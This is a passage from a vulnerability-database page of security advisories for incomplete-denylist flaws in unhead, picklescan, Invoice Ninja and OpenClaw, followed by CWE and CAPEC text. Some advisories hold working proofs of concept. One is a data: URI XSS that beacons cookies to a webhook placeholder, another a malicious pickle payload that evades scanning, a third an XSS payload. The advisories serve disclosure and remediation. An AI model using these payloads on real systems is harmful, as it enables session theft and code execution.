const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'

useHeadSafe({
  link: [
    {
      rel: 'icon',
      href: `data&#x000003A;text/html;base64,${btoa(`
        <!DOCTYPE html><html><body><script>
          alert('XSS via useHeadSafe padded entity bypass');
          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
            finding: 'useHeadSafe hasDangerousProtocol bypass',
            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
            origin: location.origin,
            ts: Date.now()
          }));
        <\/script></body></html>
      `)}`
    }
  ]
})
</script>

Observed result:

  1. alert() fires from inside the iframe's data: document context
  2. Webhook receives a GET request with the cookie value and origin in the query string
  3. Page source confirms &#x000003A; is present unescaped in the SSR-rendered <link> tag

All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.


Impact

1. Broken security contract

Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted user input have no reliable protection against javascript:, data:, or vbscript: scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated.

2. Confirmed data: URI escape to SSR output

A fully valid data:text/html URI now reaches server-rendered HTML. In applications where any downstream code reads and loads <link href> values (head management utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path.

3. Forward exploitability

If any navigation-context attribute (e.g. <a href>, <form action>) is added to the safe attribute whitelist in a future release, this bypass produces immediately exploitable stored XSS with no additional attacker effort, because the end-to-end bypass already works today.


Suggested Fix

Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint() function already validates that decoded codepoints fall within the valid Unicode range (> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs.

- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/g

File: packages/unhead/src/plugins/safe.ts, lines 10–11

This is a minimal, low-risk change. No other code in the call path requires modification.


Weaknesses

CWE Description
CWE-184 Incomplete List of Disallowed Inputs
CWE-116 Improper Encoding or Escaping of Output
CWE-20 Improper Input Validation

References

Source Link
HTML5 spec — leading zeros valid and unbounded https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state
GHSA-46fp-8f5p-pf2c — Loofah allowed_uri? bypass (same root cause, accepted CVE) https://github.com/advisories/GHSA-46fp-8f5p-pf2c
CVE-2026-26022 — Gogs stored XSS via data: URI sanitizer bypass (same class) https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/
OWASP XSS Filter Evasion — leading-zero entity encoding https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Chrome: data: URIs blocked for top-level navigation since Chrome 60; permitted in iframes https://developer.chrome.com/blog/data-url-deprecations
Prior unhead advisory (different code path, context only) GHSA-g5xx-pwrp-g3fv / CVE-2026-31860
Affected file https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "unhead"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T20:28:05Z",
    "nvd_published_at": "2026-04-09T18:17:01Z",
    "severity": "MODERATE"
  },
  "details": "##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt\u0027s own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current \u2014 vulnerable\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `\u0026#0000000058;` \u2014 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `\u0026#x000003A;` \u2014 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith(\u0027javascript:\u0027)`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser\u0027s HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder \u2014 a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10\u201311)\n\n```js\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([\u00a7 Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `\u0026#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java\u0026#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith(\u0027javascript:\u0027)` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 \u2014 Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 \u2014 Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n    \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding \u2014 exceeds \\d{1,7} cap\n    { rel: \u0027stylesheet\u0027, href: \u0027java\u0026#0000000058;script:alert(1)\u0027 },\n\n    // 7-digit hex padding \u2014 exceeds [0-9a-f]{1,6} cap\n    { rel: \u0027icon\u0027, href: \u0027data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\u0027 }\n  ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 \u2014 Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep \u0027\u003clink\u0027\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java\u0026#0000000058;script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` \u2014 explicitly enumerated in the `hasDangerousProtocol()`\nblocklist \u2014 are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically \u2014 browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet \u2014 representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe \u2014 triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector(\u0027link[rel=\"icon\"]\u0027);\nif (link) {\n  const iframe = document.createElement(\u0027iframe\u0027);\n  iframe.src = link.href; // browser decodes \u0026#x000003A; \u2192 \u0027:\u0027, constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe padded entity bypass \u2014 full PoC\u003c/h1\u003e\n    \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading\u2026\u003c/code\u003e\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\nimport { onMounted } from \u0027vue\u0027\n\nonMounted(() =\u003e {\n  document.cookie = \u0027session=super-secret-token-12345; path=/; SameSite=None\u0027\n  const el = document.getElementById(\u0027cookie-display\u0027)\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector(\u0027link[rel=\"icon\"]\u0027)\n  if (link) {\n    const iframe = document.createElement(\u0027iframe\u0027)\n    iframe.src = link.href\n    iframe.style.cssText = \u0027width:700px;height:400px;border:3px solid red;margin-top:20px\u0027\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = \u0027https://ADD-YOUR-WEBHOOK-URL-HERE\u0027\n\nuseHeadSafe({\n  link: [\n    {\n      rel: \u0027icon\u0027,\n      href: `data\u0026#x000003A;text/html;base64,${btoa(`\n        \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n          alert(\u0027XSS via useHeadSafe padded entity bypass\u0027);\n          new Image().src = \u0027${webhook}?d=\u0027 + encodeURIComponent(JSON.stringify({\n            finding: \u0027useHeadSafe hasDangerousProtocol bypass\u0027,\n            cookie: document.cookie || \u0027session=super-secret-token-12345 (dummy)\u0027,\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n      `)}`\n    }\n  ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe\u0027s `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `\u0026#x000003A;` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt\u0027s own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** \u2014 the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN \u2192 \u0027\u0027`), so unbounded digit matching introduces no new\nattack surface \u2014 it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n+ const HtmlEntityHex = /\u0026#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /\u0026#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10\u201311\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec \u2014 leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c \u2014 Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 \u2014 Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion \u2014 leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |",
  "id": "GHSA-95h2-gj7x-gx9w",
  "modified": "2026-04-09T20:28:05Z",
  "published": "2026-04-09T20:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unjs/unhead"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/releases/tag/v2.1.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()"
}

GHSA-97F8-7CMV-76J2

Vulnerability from github – Published: 2026-02-18 17:45 – Updated: 2026-06-18 14:43
VLAI
Summary
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Details

Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T17:45:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch\u0027s implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n    class payload:\n        def __reduce__(self):\n            return (eval, (\u0027MAGIC_NUMBER\u0027,))\n\n    pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n    def __reduce__(self):\n        return (__import__(\u0027os\u0027).system, (\u0027touch /tmp/hacked\u0027,))\n\ntorch.save(payload(), \u0027./payload.pt\u0027, _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load(\u0027./payload.pt\u0027, weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
  "id": "GHSA-97f8-7cmv-76j2",
  "modified": "2026-06-18T14:43:46Z",
  "published": "2026-02-18T17:45:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER"
}

GHSA-98WM-CXPW-847P

Vulnerability from github – Published: 2026-03-24 20:40 – Updated: 2026-03-27 21:34
VLAI
Summary
Invoice Ninja Denylist Bypass may Lead to Stored XSS via Invoice Line Items
Details

Vulnerability Details

Invoice line item descriptions in Invoice Ninja v5.13.0 bypass the XSS denylist filter, allowing stored XSS payloads to execute when invoices are rendered in the PDF preview or client portal.

The line item description field was not passed through purify::clean() before rendering.

Steps to Reproduce

  1. Login as any authenticated user
  2. Create or edit an invoice
  3. In a line item description, enter: <img src=x onerror=alert(document.cookie)>
  4. Save the invoice and preview it
  5. The XSS payload executes in the browser

Impact

  • Attacker: Any authenticated user who can create invoices
  • Victim: Any user viewing the invoice (including clients via the portal)
  • Specific damage: Session hijacking, account takeover, data exfiltration

Proposed Fix

Fixed in v5.13.4 by the vendor by adding purify::clean() to sanitize line item descriptions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "invoiceninja/invoiceninja"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T20:40:16Z",
    "nvd_published_at": "2026-03-26T21:17:07Z",
    "severity": "MODERATE"
  },
  "details": "## Vulnerability Details\n\nInvoice line item descriptions in Invoice Ninja v5.13.0 bypass the XSS denylist filter, allowing stored XSS payloads to execute when invoices are rendered in the PDF preview or client portal.\n\nThe line item description field was not passed through `purify::clean()` before rendering.\n\n## Steps to Reproduce\n\n1. Login as any authenticated user\n2. Create or edit an invoice\n3. In a line item description, enter: `\u003cimg src=x onerror=alert(document.cookie)\u003e`\n4. Save the invoice and preview it\n5. The XSS payload executes in the browser\n\n## Impact\n\n- **Attacker**: Any authenticated user who can create invoices\n- **Victim**: Any user viewing the invoice (including clients via the portal)\n- **Specific damage**: Session hijacking, account takeover, data exfiltration\n\n## Proposed Fix\n\nFixed in v5.13.4 by the vendor by adding `purify::clean()` to sanitize line item descriptions.",
  "id": "GHSA-98wm-cxpw-847p",
  "modified": "2026-03-27T21:34:58Z",
  "published": "2026-03-24T20:40:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/invoiceninja/invoiceninja/security/advisories/GHSA-98wm-cxpw-847p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/invoiceninja/invoiceninja/commit/b81a3fc302573fc4a53d61e8537dd19154ce1091"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/invoiceninja/invoiceninja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/invoiceninja/invoiceninja/releases/tag/v5.13.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Invoice Ninja Denylist Bypass may Lead to Stored XSS via Invoice Line Items"
}

GHSA-9R9J-3R2W-FG3V

Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-11 16:13
VLAI
Summary
Duplicate Advisory: OpenClaw: Workspace dotenv could override runtime-control environment variables
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hxvm-xjvf-93f3. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.4.20 fails to properly reserve the OPENCLAW_ runtime-control environment namespace in workspace dotenv files, allowing attackers to override critical runtime variables. Malicious workspaces can set variables like OPENCLAW_GIT_DIR to manipulate trusted OpenClaw runtime behavior during source-update or installer flows.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:13:28Z",
    "nvd_published_at": "2026-05-06T20:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hxvm-xjvf-93f3. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.20 fails to properly reserve the OPENCLAW_ runtime-control environment namespace in workspace dotenv files, allowing attackers to override critical runtime variables. Malicious workspaces can set variables like OPENCLAW_GIT_DIR to manipulate trusted OpenClaw runtime behavior during source-update or installer flows.",
  "id": "GHSA-9r9j-3r2w-fg3v",
  "modified": "2026-05-11T16:13:28Z",
  "published": "2026-05-06T21:31:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hxvm-xjvf-93f3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44114"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-namespace-collision-via-workspace-dotenv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Workspace dotenv could override runtime-control environment variables",
  "withdrawn": "2026-05-11T16:13:28Z"
}

Mitigation
Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

